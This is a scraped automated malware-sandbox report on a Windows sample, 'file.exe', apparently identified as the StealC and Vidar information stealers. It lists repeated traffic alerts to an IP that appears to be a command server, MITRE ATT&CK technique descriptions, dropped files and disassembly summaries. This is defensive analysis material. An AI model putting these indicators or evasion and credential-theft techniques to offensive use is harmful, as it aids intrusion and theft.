Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJDGDGDHDGDBFIDHDBA

C:\ProgramData\CBKJKJDBFIIDHJKEHJEH

C:\ProgramData\DBKFIDAAEHIEGCBFIDBFHCGDAK

C:\ProgramData\FBKKJEBFIDAEBFHIDAEBAAEHIJ

C:\ProgramData\FIECBFID

C:\ProgramData\GCGHCBKFCFBFHIDHDBFC

C:\ProgramData\IEHJDGIDBAAFIDGCGCAKKKFBFH

C:\ProgramData\JKFHIIEH

C:\ProgramData\KFIDBAFHCAKFBGCBFHIJKECGII

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 001F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 001E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 001EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 001F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 001E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 001F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 001E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 001F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre